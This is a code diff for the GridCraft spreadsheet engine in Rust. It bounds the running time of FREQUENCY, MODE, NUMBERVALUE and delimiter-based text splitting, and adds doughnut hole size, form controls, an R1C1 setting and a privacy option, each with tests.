+        // `order` sorts the bins ascending, so the bins `x` exceeds come first: binary search for
+        // the first bin at or above `x` (the first of equal bins, as a linear scan would find).
+        let pos = if x.is_nan() { order.len() } else { order.partition_point(|&i| bins.get(i).copied().unwrap_or(f64::INFINITY) < x) };
+        let slot = order.get(pos).copied().unwrap_or(bins.len());
        if let Some(c) = counts.get_mut(slot) {
            *c += 1.0;
        }
@@ -617,3 +617,23 @@ fn aggregate_helper() {
    close(aggregate_values_k(9, &vals, &nv(2.0)), 9.0);
    is_err(aggregate_values_k(14, &vals, &nv(10.0)), CellError::Num);
 }
+
+/// Security: FREQUENCY finds each value's bin by binary search, and MODE counts distinct numbers
+/// through an index, so neither is quadratic in its inputs. Results are as before: unsorted and
+/// duplicate bins keep their positions (a value goes to the first of equal bins), and tied modes
+/// come in first-occurrence order.
+#[test]
+fn frequency_and_mode_scale_with_their_inputs() {
+    let f = ev("FREQUENCY", vec![c(&[1.0, 2.0, 2.0, 3.0, 5.0, 9.0, -1.0]), c(&[3.0, 2.0, 2.0, 0.0])]);
+    assert_eq!(rows_of(&f), vec![vec![nv(1.0)], vec![nv(3.0)], vec![nv(0.0)], vec![nv(1.0)], vec![nv(2.0)]]);
+    // NaN data goes to the overflow bin, and a NaN bin takes nothing
+    let f = ev("FREQUENCY", vec![c(&[f64::NAN, 0.5, 2.0]), c(&[f64::NAN, 1.0])]);
+    assert_eq!(rows_of(&f), vec![vec![nv(0.0)], vec![nv(1.0)], vec![nv(2.0)]]);
+    let data: Vec<f64> = (0..200_000).map(|i| f64::from(i) + 1e6).collect();
+    let bins: Vec<f64> = (0..200_000).map(f64::from).collect();
+    let f = ev("FREQUENCY", vec![c(&data), c(&bins)]);
+    assert_eq!(rows_of(&f).last(), Some(&vec![nv(200_000.0)]));
+    let distinct = ev("MODE", vec![c(&data)]);
+    is_err(distinct, CellError::NA);
+    assert_eq!(rows_of(&ev("MODE.MULT", vec![c(&[3.0, 0.0, 1.0, -0.0, 3.0, 1.0])])), vec![vec![nv(3.0)], vec![nv(0.0)], vec![nv(1.0)]]);
+}
@@ -1,5 +1,7 @@
 //! Text functions.

+use std::collections::HashMap;
+
 use gridcraft_core::parse::parse_number_text_in;
 use gridcraft_core::{CellError, Value, number_to_text};

@@ -339,11 +341,11 @@ fn numbervalue(a: &[Arg], c: &mut dyn Ctx) -> R<Value> {
    if body.is_empty() {
        return num_val(0.0);
    }
-    let mut pct = 0;
-    while let Some(b) = body.strip_suffix('%') {
-        body = b.to_string();
-        pct += 1;
-    }
+    // Count the trailing percent signs and cut them off in place: copying the rest once per sign
+    // made a long run of them quadratic.
+    let kept = body.trim_end_matches('%').len();
+    let pct = body.len() - kept;
+    body.truncate(kept);
    let mut seen_dec = false;
    let mut out = String::new();
    for c in body.chars() {
@@ -541,23 +543,52 @@ fn delimiters(v: &Value) -> R<Vec<Vec<char>>> {
    as_array(v).iter().map(|d| d.to_text().map(|s| chars(&s))).collect()
 }

+/// Most delimiter characters compared in one search: text length × delimiters is the formula's
+/// to choose, so the search gives up with `#VALUE!` rather than run on.
+const MAX_MATCH_WORK: u64 = 100_000_000;
+
 /// Non-overlapping delimiter matches (start, end) in char positions, in ascending order. Scans left
 /// to right preferring the longest delimiter starting at each position, or (`from_end`) right to
 /// left preferring the longest delimiter ending at each position. Empty delimiters are ignored unless all
-/// delimiters are empty, in which case every position matches with zero length.
-fn find_matches(text: &[char], delims: &[Vec<char>], insensitive: bool, from_end: bool) -> Vec<(usize, usize)> {
+/// delimiters are empty, in which case every position matches with zero length. Repeated
+/// delimiters are tried once, and only those whose first (or, from the end, last) character is the
+/// one at hand; a search past [`MAX_MATCH_WORK`] is `#VALUE!`.
+fn find_matches(text: &[char], delims: &[Vec<char>], insensitive: bool, from_end: bool) -> R<Vec<(usize, usize)>> {
    let t = if insensitive { fold(text) } else { text.to_vec() };
-    let ds: Vec<Vec<char>> = delims.iter().filter(|d| !d.is_empty()).map(|d| if insensitive { fold(d) } else { d.clone() }).collect();
+    let mut ds: Vec<Vec<char>> = delims.iter().filter(|d| !d.is_empty()).map(|d| if insensitive { fold(d) } else { d.clone() }).collect();
    if ds.is_empty() {
-        return (0..=t.len()).map(|i| (i, i)).collect();
+        return Ok((0..=t.len()).map(|i| (i, i)).collect());
    }
+    ds.sort_unstable();
+    ds.dedup();
+    // Delimiters by the character a match is anchored on.
+    let mut by_char: HashMap<char, Vec<&[char]>> = HashMap::new();
+    for d in &ds {
+        let anchor = if from_end { d.last() } else { d.first() };
+        if let Some(&c) = anchor {
+            by_char.entry(c).or_default().push(d);
+        }
+    }
+    let mut work = 0u64;
+    let mut longest = |candidates: Option<&Vec<&[char]>>, fits: &dyn Fn(&[char]) -> bool| -> R<Option<usize>> {
+        let mut best = None;
+        for d in candidates.into_iter().flatten() {
+            work = work.saturating_add(d.len() as u64);
+            if work > MAX_MATCH_WORK {
+                return Err(CellError::Value);
+            }
+            if fits(d) {
+                best = best.max(Some(d.len()));
+            }
+        }
+        Ok(best)
+    };
    let mut out = Vec::new();
    if from_end {
        let mut j = t.len();
        while j > 0 {
-            let best =
-                ds.iter().filter(|d| j.checked_sub(d.len()).and_then(|st| t.get(st..j)).is_some_and(|w| w == d.as_slice())).map(Vec::len).max();
-            match best {
+            let at = t.get(j - 1).and_then(|c| by_char.get(c));
+            match longest(at, &|d| j.checked_sub(d.len()).and_then(|st| t.get(st..j)).is_some_and(|w| w == d))? {
                Some(l) => {
                    out.push((j - l, j));
                    j -= l;
@@ -566,12 +597,12 @@ fn find_matches(text: &[char], delims: &[Vec<char>], insensitive: bool, from_end
            }
        }
        out.reverse();
-        return out;
+        return Ok(out);
    }
    let mut i = 0;
    while i < t.len() {
-        let best = ds.iter().filter(|d| t.get(i..i + d.len()).is_some_and(|w| w == d.as_slice())).map(Vec::len).max();
-        match best {
+        let at = t.get(i).and_then(|c| by_char.get(c));
+        match longest(at, &|d| t.get(i..i + d.len()).is_some_and(|w| w == d))? {
            Some(l) => {
                out.push((i, i + l));
                i += l;
@@ -579,7 +610,7 @@ fn find_matches(text: &[char], delims: &[Vec<char>], insensitive: bool, from_end
            None => i += 1,
        }
    }
-    out
+    Ok(out)
 }

 fn text_before_after(a: &[Arg], before: bool) -> R<Value> {
@@ -591,7 +622,7 @@ fn text_before_after(a: &[Arg], before: bool) -> R<Value> {
    if !(0..=1).contains(&mode) || inst == 0 || inst.unsigned_abs() as usize > s.len().max(1) {
        return Err(CellError::Value);
    }
-    let mut m = find_matches(&s, &delims, mode == 1, inst < 0);
+    let mut m = find_matches(&s, &delims, mode == 1, inst < 0)?;
    if match_end {
        if inst > 0 {
            if m.last().is_none_or(|x| x.0 != s.len()) {
@@ -620,18 +651,18 @@ fn textafter(a: &[Arg], _c: &mut dyn Ctx) -> R<Value> {
    text_before_after(a, false)
 }

-fn split_by(s: &[char], delims: &[Vec<char>], insensitive: bool) -> Vec<Vec<char>> {
+fn split_by(s: &[char], delims: &[Vec<char>], insensitive: bool) -> R<Vec<Vec<char>>> {
    if delims.iter().all(Vec::is_empty) {
-        return vec![s.to_vec()];
+        return Ok(vec![s.to_vec()]);
    }
    let mut out = Vec::new();
    let mut last = 0;
-    for (st, en) in find_matches(s, delims, insensitive, false) {
+    for (st, en) in find_matches(s, delims, insensitive, false)? {
        out.push(s[last..st].to_vec());
        last = en;
    }
    out.push(s[last..].to_vec());
-    out
+    Ok(out)
 }

 fn textsplit(a: &[Arg], _c: &mut dyn Ctx) -> R<Value> {
@@ -648,12 +679,12 @@ fn textsplit(a: &[Arg], _c: &mut dyn Ctx) -> R<Value> {
    }
    let pad = if has(a, 5) { scalar(arg(a, 5)?) } else { Value::Error(CellError::NA) };
    let mut rows: Vec<Vec<String>> = Vec::new();
-    for r in split_by(&s, &row_d, mode == 1) {
+    for r in split_by(&s, &row_d, mode == 1)? {
        if ignore && r.is_empty() {
            continue;
        }
        let cells: Vec<String> =
-            split_by(&r, &col_d, mode == 1).into_iter().filter(|c| !(ignore && c.is_empty())).map(|c| c.into_iter().collect()).collect();
+            split_by(&r, &col_d, mode == 1)?.into_iter().filter(|c| !(ignore && c.is_empty())).map(|c| c.into_iter().collect()).collect();
        if ignore && cells.is_empty() {
            continue;
        }
@@ -1084,6 +1115,15 @@ mod tests {

    use crate::util::testutil::*;

+    /// Trailing percent signs each divide by 100, and a long run of them is cut off in one pass.
+    #[test]
+    fn numbervalue_percent_signs() {
+        close(ev("NUMBERVALUE", vec![t("5%%")]), 0.0005);
+        close(ev("NUMBERVALUE", vec![t("1,5%"), t(","), t(".")]), 0.015);
+        let many = format!("1{}", "%".repeat(32_000));
+        close(ev("NUMBERVALUE", vec![t(&many)]), 0.0);
+    }
+
    #[test]
    fn bahttext() {
        let bt = |x: f64| ev("BAHTTEXT", vec![n(x)]);
@@ -1366,6 +1406,24 @@ mod tests {
        is_text(ev("TEXTAFTER", vec![t("aaa"), t("aa"), n(1.0)]), "a");
    }

+    /// Thousands of copies of one delimiter are tried once; delimiters that can't start where the
+    /// scan stands aren't compared; a search over a budget of comparisons is `#VALUE!`.
+    #[test]
+    fn delimiter_matching_stays_bounded() {
+        let text = "ab,".repeat(10_000);
+        let same: Vec<&str> = vec![","; 50_000];
+        let v = ev("TEXTSPLIT", vec![t(&text), av(row_t(&same))]);
+        assert_eq!(rows_of(&v).first().map(Vec::len), Some(10_001));
+        // Distinct long delimiters that start and end like every position: refused, not run.
+        let long: Vec<String> = (0..5_000).map(|i| format!("a{i}{}", "a".repeat(1_000))).collect();
+        let long: Vec<&str> = long.iter().map(String::as_str).collect();
+        is_err(ev("TEXTSPLIT", vec![t(&"a".repeat(30_000)), av(row_t(&long))]), CellError::Value);
+        is_err(ev("TEXTBEFORE", vec![t(&"a".repeat(30_000)), av(row_t(&long)), n(-1.0)]), CellError::Value);
+        // Longest match wins at a position, from either end.
+        is_text(ev("TEXTBEFORE", vec![t("x--y-z"), av(row_t(&["-", "--"]))]), "x");
+        is_text(ev("TEXTAFTER", vec![t("x--y-z"), av(row_t(&["-", "--"])), n(-1.0)]), "z");
+    }
+
    #[test]
    fn split() {
        let v = ev("TEXTSPLIT", vec![t("a,b;c,d"), t(","), t(";")]);
@@ -540,6 +540,12 @@ impl Trendline {
    }
 }

+/// Charts saved before `hole_size` existed were drawn with a 50% hole. New charts and charts read
+/// from XLSX set 75 explicitly (Excel's default), so only a missing JSON field keeps the old look.
+fn default_hole_size() -> u8 {
+    50
+}
+
 /// A chart's data table (`c:dTable`), independent of the chart legend.
 #[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
 #[serde(default)]
@@ -569,6 +575,13 @@ pub struct Chart {
    pub data_table: Option<ChartDataTable>,
    pub gridlines: bool,
    pub style: u32,
+    /// Doughnut hole size as a percentage of the plot radius (Excel's 10–90 range). New charts and
+    /// XLSX imports use Excel's 75; a document saved before this field existed reads as 50.
+    #[serde(default = "default_hole_size")]
+    pub hole_size: u8,
+    /// Pie/doughnut first slice angle in degrees clockwise from 12 o'clock (0–359).
+    #[serde(default)]
+    pub first_slice_angle: u16,
    pub x_title: Option<String>,
    pub y_title: Option<String>,
    /// Source range when created from a selection (for Switch Row/Column).
@@ -740,6 +753,171 @@ impl EquationCache {
    }
 }

+/// What a form control on the sheet is.
+#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize)]
+#[serde(rename_all = "camelCase")]
+pub enum ControlKind {
+    #[default]
+    Button,
+    Slider,
+    Spin,
+}
+
+impl ControlKind {
+    /// The kind's name in the window: Button, Slider, Spin Button.
+    pub fn label(self) -> &'static str {
+        match self {
+            ControlKind::Button => "Button",
+            ControlKind::Slider => "Slider",
+            ControlKind::Spin => "Spin Button",
+        }
+    }
+}
+
+/// The largest value a slider or spin button takes (Excel's scroll bar limit). Values are whole
+/// numbers from 0 to this.
+pub const CONTROL_MAX: u32 = 30_000;
+
+/// What a button runs when it is pressed.
+#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
+#[serde(tag = "type", rename_all = "camelCase")]
+pub enum ControlAction {
+    /// Runs a macro of the workbook on `input`, optionally sending its output to `output`.
+    Macro {
+        name: String,
+        #[serde(default)]
+        input: MacroInput,
+        #[serde(default, skip_serializing_if = "Option::is_none")]
+        output: Option<String>,
+    },
+    /// Runs one GridCraft command with fixed parameters.
+    Command {
+        id: String,
+        #[serde(default)]
+        params: serde_json::Value,
+    },
+}
+
+/// The range a button's macro runs on.
+#[derive(Clone, Debug, Default, PartialEq, Eq, Serialize, Deserialize)]
+#[serde(rename_all = "camelCase")]
+pub enum MacroInput {
+    /// The selection when the button is pressed.
+    #[default]
+    Selection,
+    /// Always this range (`B2:D9` or `Data!B2:D9`).
+    Fixed(String),
+}
+
+/// A form control (button, slider, spin button) floating over the sheet.
+#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
+#[serde(default)]
+pub struct FormControl {
+    pub id: u32,
+    pub kind: ControlKind,
+    pub anchor: Anchor,
+    /// The name shown in the Selection Pane (`Button 3`); empty means the kind and id.
+    pub name: String,
+    /// The caption of a button.
+    pub text: String,
+    /// The linked cell as reference text: `$B$2` on the control's own sheet, or `Sheet2!$B$2`.
+    /// Structural edits rewrite it like a formula reference.
+    pub link: Option<String>,
+    /// The current value of a slider or spin button (the linked cell holds it too).
+    pub value: u32,
+    pub min: u32,
+    pub max: u32,
+    /// Incremental change: one arrow click or arrow key.
+    pub step: u32,
+    /// Page change (sliders): a click on the track, or Page Up / Page Down.
+    pub page: u32,
+    /// A slider lies horizontally (false: vertically).
+    pub horizontal: bool,
+    /// What a button runs.
+    pub action: Option<ControlAction>,
+    /// Printed with the sheet.
+    pub print: bool,
+    /// Locked when the sheet is protected.
+    pub locked: bool,
+}
+
+impl Default for FormControl {
+    fn default() -> Self {
+        FormControl {
+            id: 0,
+            kind: ControlKind::default(),
+            anchor: Anchor::default(),
+            name: String::new(),
+            text: String::new(),
+            link: None,
+            value: 0,
+            min: 0,
+            max: 100,
+            step: 1,
+            page: 10,
+            horizontal: true,
+            action: None,
+            print: true,
+            locked: true,
+        }
+    }
+}
+
+impl FormControl {
+    /// The name shown for the control: its own, else `Button 3`, `Slider 4`, `Spin Button 5`.
+    pub fn display_name(&self) -> String {
+        if self.name.trim().is_empty() { format!("{} {}", self.kind.label(), self.id) } else { self.name.clone() }
+    }
+
+    /// Checks the numbers of a slider or spin button: 0 ≤ min < max ≤ 30000, 1 ≤ step ≤ max − min,
+    /// and (sliders) page ≥ step. Each rule has its own message.
+    pub fn check_numbers(&self) -> Result<(), String> {
+        if self.kind == ControlKind::Button {
+            return Ok(());
+        }
+        if self.max > CONTROL_MAX {
+            return Err(format!("Maximum value can be at most {CONTROL_MAX}."));
+        }
+        if self.min > CONTROL_MAX {
+            return Err(format!("Minimum value must be a whole number from 0 to {CONTROL_MAX}."));
+        }
+        if self.min >= self.max {
+            return Err(format!("Maximum value ({}) must be greater than Minimum value ({}).", self.max, self.min));
+        }
+        if self.step < 1 {
+            return Err("Incremental change must be at least 1.".into());
+        }
+        let span = self.max - self.min;
+        if self.step > span {
+            return Err(format!("Incremental change ({}) can be at most Maximum minus Minimum ({span}).", self.step));
+        }
+        if self.kind == ControlKind::Slider {
+            if self.page < self.step {
+                return Err(format!("Page change ({}) must be at least the incremental change ({}).", self.page, self.step));
+            }
+            if self.page > CONTROL_MAX {
+                return Err(format!("Page change can be at most {CONTROL_MAX}."));
+            }
+        }
+        Ok(())
+    }
+
+    /// `v` clamped to min..max and snapped to the nearest step from min (max stays reachable).
+    pub fn snap(&self, v: f64) -> u32 {
+        let (min, max) = (self.min.min(CONTROL_MAX), self.max.min(CONTROL_MAX).max(self.min.min(CONTROL_MAX)));
+        if !v.is_finite() || v <= min as f64 {
+            return min;
+        }
+        if v >= max as f64 {
+            return max;
+        }
+        let step = self.step.max(1) as f64;
+        let snapped = (min as f64 + ((v - min as f64) / step).round() * step).clamp(min as f64, max as f64);
+        // When the step doesn't divide the range, the maximum is a stop of its own.
+        if (max as f64 - v).abs() < (snapped - v).abs() { max } else { snapped as u32 }
+    }
+}
+
 /// The kinds of floating object a sheet holds. Commands name an object by kind and
 /// workbook-unique id (`{kind: "chart", id}`); [`ObjKind::name`] is that parameter's spelling.
 /// Equations are stored as shapes ([`ShapeKind::Equation`]) but select, open and delete as their
@@ -752,10 +930,11 @@ pub enum ObjKind {
    Shape,
    Slicer,
    Equation,
+    Control,
 }

 impl ObjKind {
-    pub const ALL: [ObjKind; 5] = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer, ObjKind::Equation];
+    pub const ALL: [ObjKind; 6] = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer, ObjKind::Equation, ObjKind::Control];

    /// The name used in command parameters.
    pub fn name(self) -> &'static str {
@@ -765,6 +944,7 @@ impl ObjKind {
            ObjKind::Shape => "shape",
            ObjKind::Slicer => "slicer",
            ObjKind::Equation => "equation",
+            ObjKind::Control => "control",
        }
    }

@@ -921,6 +1101,39 @@ mod trendline_forecast_tests {
    }
 }

+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn chart_without_hole_size_keeps_the_legacy_hole() {
+        let chart = Chart {
+            id: 1,
+            kind: ChartKind::Doughnut,
+            anchor: Anchor::default(),
+            title: None,
+            series: vec![],
+            legend: LegendPos::Right,
+            data_labels: false,
+            data_table: None,
+            gridlines: false,
+            style: 1,
+            hole_size: 75,
+            first_slice_angle: 0,
+            x_title: None,
+            y_title: None,
+            source: None,
+            by_rows: false,
+            pivot: None,
+        };
+        let mut json = serde_json::to_value(&chart).expect("serialize chart");
+        json.as_object_mut().expect("chart object").remove("hole_size");
+        let legacy: Chart = serde_json::from_value(json).expect("deserialize legacy chart");
+        assert_eq!(legacy.hole_size, 50, "documents saved before hole_size existed keep the old 50% hole");
+        assert_eq!(chart.hole_size, 75, "new charts keep Excel's 75% default");
+    }
+}
+
 #[cfg(test)]
 mod equation_cache_tests {
    use super::{EquationCache, source_key};
@@ -9,8 +9,8 @@ use serde::{Deserialize, Serialize};

 use crate::cell::{Cell, CellPicture};
 use crate::features::{
-    Anchor, AutoFilter, Chart, Comment, CondFormat, Hyperlink, Image, LineInfo, ObjKind, ObjRef, PivotTable, PrintSettings, Shape, ShapeKind,
-    SheetProtection, Slicer, Sparkline, Table, Validation,
+    Anchor, AutoFilter, Chart, Comment, CondFormat, FormControl, Hyperlink, Image, LineInfo, ObjKind, ObjRef, PivotTable, PrintSettings, Shape,
+    ShapeKind, SheetProtection, Slicer, Sparkline, Table, Validation,
 };
 use crate::store::CellStore;
 use crate::style::{Color, StyleId};
@@ -147,6 +147,10 @@ pub struct Sheet {
    /// On-sheet slicer widgets (filter a table column by clicking value tiles).
    #[serde(default)]
    pub slicers: Vec<Slicer>,
+    /// Form controls (buttons, sliders, spin buttons). They paint above every other object and
+    /// take clicks first.
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub controls: Vec<FormControl>,
    /// PivotTables whose output lives on this sheet.
    #[serde(default)]
    pub pivots: Vec<PivotTable>,
@@ -219,6 +223,7 @@ impl Sheet {
            shapes: vec![],
            sparklines: vec![],
            slicers: vec![],
+            controls: vec![],
            pivots: vec![],
            protection: None,
            edit_ranges: vec![],
@@ -285,6 +290,8 @@ impl Sheet {
            if s.kind == ShapeKind::Equation { ObjKind::Equation } else { ObjKind::Shape }
        } else if self.slicers.iter().any(|o| o.id == id) {
            ObjKind::Slicer
+        } else if self.controls.iter().any(|o| o.id == id) {
+            ObjKind::Control
        } else {
            return None;
        };
@@ -305,6 +312,7 @@ impl Sheet {
            ObjKind::Shape => self.shapes.iter().find(|c| c.id == o.id).map(|c| c.anchor),
            ObjKind::Slicer => self.slicers.iter().find(|c| c.id == o.id).map(|c| c.anchor),
            ObjKind::Equation => self.shapes.iter().find(|c| c.id == o.id && c.kind == ShapeKind::Equation).map(|c| c.anchor),
+            ObjKind::Control => self.controls.iter().find(|c| c.id == o.id).map(|c| c.anchor),
        }
    }

@@ -315,6 +323,7 @@ impl Sheet {
            ObjKind::Shape => self.shapes.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor),
            ObjKind::Slicer => self.slicers.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor),
            ObjKind::Equation => self.shapes.iter_mut().find(|c| c.id == o.id && c.kind == ShapeKind::Equation).map(|c| &mut c.anchor),
+            ObjKind::Control => self.controls.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor),
        }
    }

@@ -331,12 +340,13 @@ impl Sheet {
            ObjKind::Shape => take(&mut self.shapes, |c| c.id == o.id),
            ObjKind::Slicer => take(&mut self.slicers, |c| c.id == o.id),
            ObjKind::Equation => take(&mut self.shapes, |c| c.id == o.id && c.kind == ShapeKind::Equation),
+            ObjKind::Control => take(&mut self.controls, |c| c.id == o.id),
        }
    }

-    /// Every floating object's anchor in a fixed order (charts, images, shapes, slicers) that
-    /// [`Sheet::object_anchors_mut`] repeats, so a pass can compute new anchors from the old ones
-    /// and write them back in step.
+    /// Every floating object's anchor in a fixed order (charts, images, shapes, slicers, controls)
+    /// that [`Sheet::object_anchors_mut`] repeats, so a pass can compute new anchors from the old
+    /// ones and write them back in step.
    pub fn object_anchors(&self) -> impl Iterator<Item = &Anchor> {
        self.charts
            .iter()
@@ -344,6 +354,7 @@ impl Sheet {
            .chain(self.images.iter().map(|o| &o.anchor))
            .chain(self.shapes.iter().map(|o| &o.anchor))
            .chain(self.slicers.iter().map(|o| &o.anchor))
+            .chain(self.controls.iter().map(|o| &o.anchor))
    }

    pub fn object_anchors_mut(&mut self) -> impl Iterator<Item = &mut Anchor> {
@@ -353,6 +364,7 @@ impl Sheet {
            .chain(self.images.iter_mut().map(|o| &mut o.anchor))
            .chain(self.shapes.iter_mut().map(|o| &mut o.anchor))
            .chain(self.slicers.iter_mut().map(|o| &mut o.anchor))
+            .chain(self.controls.iter_mut().map(|o| &mut o.anchor))
    }
    /// Displayed value of a cell: its own value, or a spilled value.
    pub fn value(&self, c: CellRef) -> Value {
@@ -819,6 +831,8 @@ mod tests {
                data_table: None,
                gridlines: false,
                style: 0,
+                hole_size: 75,
+                first_slice_angle: 0,
                x_title: None,
                y_title: None,
                source: None,
@@ -839,6 +853,7 @@ mod tests {
            ObjKind::Slicer => {
                s.slicers.push(Slicer { id, table: String::new(), column: String::new(), caption: String::new(), anchor, selected: None, columns: 1 })
            }
+            ObjKind::Control => s.controls.push(FormControl { id, anchor, ..Default::default() }),
        }
    }

@@ -860,13 +875,15 @@ mod tests {
            (ObjKind::Slicer, 1),
            (ObjKind::Image, 4),
            (ObjKind::Equation, 6),
+            (ObjKind::Control, 13),
            (ObjKind::Shape, 12),
            (ObjKind::Equation, 8),
+            (ObjKind::Control, 15),
        ];
        for &(kind, id) in &inserted {
            push_object(&mut s, kind, id, Anchor { cell: CellRef::new(id, 0), ..Default::default() });
        }
-        let per_kind = s.charts.len() + s.images.len() + s.shapes.len() + s.slicers.len();
+        let per_kind = s.charts.len() + s.images.len() + s.shapes.len() + s.slicers.len() + s.controls.len();
        assert_eq!(per_kind, inserted.len());
        assert_eq!(s.object_anchors().count(), per_kind, "object_anchors visits every collection");
        assert_eq!(s.object_anchors_mut().count(), per_kind, "object_anchors_mut visits every collection");
@@ -877,10 +894,10 @@ mod tests {
        }
        let marks: Vec<f32> = s.object_anchors().map(|a| a.dx).collect();
        assert_eq!(marks, (0..per_kind).map(|i| i as f32).collect::<Vec<f32>>());
-        // The sequence is the documented one (charts, images, shapes, slicers, each in insertion
-        // order; equations are shapes) and every object appears in it once.
+        // The sequence is the documented one (charts, images, shapes, slicers, controls, each in
+        // insertion order; equations are shapes) and every object appears in it once.
        let collection = |k: ObjKind| if k == ObjKind::Equation { ObjKind::Shape } else { k };
-        let documented: Vec<u32> = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer]
+        let documented: Vec<u32> = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer, ObjKind::Control]
            .iter()
            .flat_map(|&k| inserted.iter().filter(move |(kind, _)| collection(*kind) == k).map(|&(_, id)| id))
            .collect();
@@ -95,6 +95,10 @@ pub struct CalcSettings {
    pub max_change: f64,
    /// Use precision as displayed.
    pub precision_as_displayed: bool,
+    /// R1C1 reference style (`<calcPr refMode="R1C1"/>`): kept with the file and written back;
+    /// GridCraft itself shows and takes A1 references.
+    #[serde(default)]
+    pub r1c1: bool,
 }

 impl Default for CalcSettings {
@@ -105,6 +109,7 @@ impl Default for CalcSettings {
            max_iterations: Self::DEFAULT_ITERATIONS,
            max_change: Self::DEFAULT_CHANGE,
            precision_as_displayed: false,
+            r1c1: false,
        }
    }
 }
@@ -200,6 +205,12 @@ pub struct Workbook {
    pub calc: CalcSettings,
    #[serde(default, skip_serializing_if = "is_all")]
    pub show_objects: ShowObjects,
+    /// Trust Center › Privacy Options › "Remove personal information from file properties on save"
+    /// (`<workbookPr filterPrivacy="1"/>`): kept with the file, and while it is on the author and
+    /// company are left out of the XLSX files GridCraft writes, as Excel leaves them empty. Other
+    /// formats aren't filtered: the workbook's own serialization still holds them.
+    #[serde(default, skip_serializing_if = "std::ops::Not::not")]
+    pub remove_personal_info: bool,
    /// Read and set with [`Workbook::active_sheet`] and [`Workbook::set_active_sheet`].
    pub active_sheet: ActiveSheet,
    /// The workbook window's display settings (`<workbookView>`), kept across an open + save.
@@ -338,6 +349,7 @@ impl Workbook {
            date_system: DateSystem::D1900,
            calc: CalcSettings::default(),
            show_objects: ShowObjects::All,
+            remove_personal_info: false,
            active_sheet: ActiveSheet::default(),
            view: WorkbookView::default(),
            props: DocProps::default(),
@@ -494,7 +506,7 @@ impl Workbook {
        }
    }

-    /// A free id for a new chart, picture, shape, table or slicer: one more than the largest in
+    /// A free id for a new chart, picture, shape, table, slicer or form control: one more than the largest in
    /// use, or, when that is `u32::MAX` (a file can carry any id), the lowest free one.
    pub fn next_object_id(&self) -> u32 {
        self.free_object_ids(1).first().copied().unwrap_or(u32::MAX)
@@ -515,6 +527,7 @@ impl Workbook {
                    .chain(s.shapes.iter().map(|o| o.id))
                    .chain(s.tables.iter().map(|o| o.id))
                    .chain(s.slicers.iter().map(|o| o.id))
+                    .chain(s.controls.iter().map(|o| o.id))
            })
            .collect();
        used.sort_unstable();
@@ -601,6 +614,10 @@ mod tests {
            sh.images.push(image(7));
        }
        assert_eq!(wb.next_object_id(), 8);
+        if let Some(sh) = wb.sheet_mut(0) {
+            sh.controls.push(crate::FormControl { id: 12, ..Default::default() });
+        }
+        assert_eq!(wb.next_object_id(), 13, "form controls take ids from the same sequence");
        if let Some(sh) = wb.sheet_mut(0) {
            sh.images.push(image(u32::MAX));
        }
@@ -619,6 +636,19 @@ mod tests {
        assert_eq!(wb.free_object_ids(3), vec![1, 2, u32::MAX], "the top first, then from 1");
    }

+    /// A form control's id is in use like any object's: the free ids skip it, also when it is the
+    /// largest id a file could carry.
+    #[test]
+    fn free_object_ids_skip_a_form_controls_id() {
+        let mut wb = Workbook::new();
+        if let Some(sh) = wb.sheet_mut(0) {
+            sh.controls.push(crate::FormControl { id: 3, ..Default::default() });
+            sh.controls.push(crate::FormControl { id: u32::MAX, ..Default::default() });
+        }
+        assert_eq!(wb.free_object_ids(4), vec![1, 2, 4, 5], "3 and the largest id are taken");
+        assert_eq!(wb.next_object_id(), 1);
+    }
+
    /// A file can use the largest id and the one below it: nothing is free above them, so the free
    /// ids are the lowest unused ones from 1 (0 is never an object's id), and a large request is
    /// served in time linear in the count and the ids in use.
@@ -136,6 +136,9 @@ pub(crate) fn fixed(a: f64, decimals: usize) -> (String, String) {
 /// General format squeezed into `max_chars` characters. Excel shows fewer decimals, then
 /// scientific notation, then "####" when a column is narrow; `None` means the caller paints "####".
 pub fn format_general_fit(n: f64, max_chars: usize) -> Option<String> {
+    // The widest fixed rendering of a double is about 330 characters; a larger request only
+    // pads zero decimals the trim below throws away.
+    let max_chars = max_chars.min(1024);
    if !n.is_finite() {
        return None;
    }
@@ -214,6 +217,8 @@ mod tests {
    fn general_fit() {
        assert_eq!(format_general_fit(1e11, 11).as_deref(), Some("1E+11"));
        assert_eq!(format_general_fit(12345678901.0, 11).as_deref(), Some("12345678901"));
+        // A huge width neither allocates width-sized padding nor changes the text.
+        assert_eq!(format_general_fit(1.5, usize::MAX).as_deref(), Some("1.5"));
        assert_eq!(format_general_fit(123456789012.0, 11).as_deref(), Some("1.23457E+11"));
        assert_eq!(format_general_fit(0.1 + 0.2, 11).as_deref(), Some("0.3"));
        assert_eq!(format_general_fit(1.0 / 3.0, 11).as_deref(), Some("0.333333333"));
@@ -323,6 +323,60 @@ impl NumberFormat {
        (Formatted { text: out.text, color: sec.color, fill: out.fill, numeric: true }, false)
    }

+    /// The number `n` as this format displays it: what Excel stores when "Set precision as
+    /// displayed" is on. Fixed decimals, percent, thousands scaling (`0.0,,`), scientific and
+    /// fraction sections round to what they show; the section is picked as for display, so
+    /// `0.00;(0.0)` keeps one decimal for negatives. Observed in Excel (COM,
+    /// `Workbook.PrecisionAsDisplayed`), these keep the full value: General, date and time
+    /// formats (`mm:ss.0` included), text formats and sections without digits (`"x"`, `;;;`).
+    /// The section is picked by [`NumberFormat::rounding_section`], which ignores conditions.
+    /// Never returns `-0`.
+    pub fn round_as_displayed(&self, n: f64) -> f64 {
+        if self.is_general() || !n.is_finite() {
+            return n;
+        }
+        let Some(sec) = self.rounding_section(n) else { return n };
+        if sec.kind != SecKind::Number {
+            return n;
+        }
+        let Some(m) = render::shown_value(sec, n) else { return n };
+        if m == 0.0 {
+            0.0
+        } else if n < 0.0 {
+            -m
+        } else {
+            m
+        }
+    }
+
